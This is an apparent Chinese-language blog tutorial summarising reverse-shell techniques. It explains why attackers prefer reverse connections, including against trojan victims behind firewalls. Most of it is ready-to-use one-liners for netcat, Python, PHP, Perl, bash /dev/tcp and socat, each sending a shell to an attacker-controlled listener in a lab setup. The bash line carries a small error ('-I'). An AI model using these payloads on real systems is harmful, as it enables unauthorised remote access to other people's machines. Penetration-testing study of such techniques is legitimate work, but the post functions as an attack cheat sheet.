反弹shell总结

前言 

那么为什么要用反弹shell呢?

反弹shell通常适用于如下几种情况:

•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。•…

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

利用netcat反弹shell
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。

一、实验环境

Kali:192.168.32.132 //模拟靶机

Windows:192.168.xxx.1//模拟公网攻击机

关于windows安装nc:Windows 下载安装 netcat(nc)命令,测试UPD连接 - 我命由我不由天—hao - 博客园 (cnblogs.com)

下载时需要关闭实时保护 

 二、实操

1、若靶机上存在nc,获取反向shell:

攻击机:nc -lvp 9999      // 监听9999端口
靶机:nc 1.1.1.1 9999 -e /bin/bash  // Linux正向连接公网vps1.1.1.1的9999端口
     nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe  // Windows

008019193cf443f1b9cda2e475ec0233.png

d4d85f6e927f469d96f9cabc961c9bff.png

 

2、 靶机存在Python环境,Python反弹shell

攻击机:nc -lvp 6666
靶机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

36b8e7c8fec9465da8f831d7caa118bb.png

5ccf79aecfa7433e9b9f22da346fc531.png

 

3、靶机存在PHP环境,PHP反向shell:

攻击机:nc -lvp 6666
靶机:php -r '$sock=fsockopen("192.168.32.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

23fb147a53fd40c0bce957d4ff209798.pngc8a74a8b74aa4bfcb243a0c971051faf.png

 

 4、靶机存在Perl环境,Perl反弹shell: 

攻击机:nc -lvp 6666
靶机:perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 a60a460047524a56932d0ab64290e6d3.png

57f68841074e4a598c075e181d0b36a7.png

 4、bash反弹shell

攻击机:nc -lvp 6666
靶机:bash -I >& /dev/tcp/192.168.32.1/6666 0>&1

 85d9e3eaae194524be188c280805083b.png 

2805e52038534b6cba8d1aeee9cba544.png

5、利用Socat反弹shell

socat TCP-LISTEN:2333 -或nc -lvvp 2333

socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

3fc24f3f435d45f1afe86685bd15bfd4.png

 4f7878e40f364340b9047862aa828ede.png

 

 

 

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值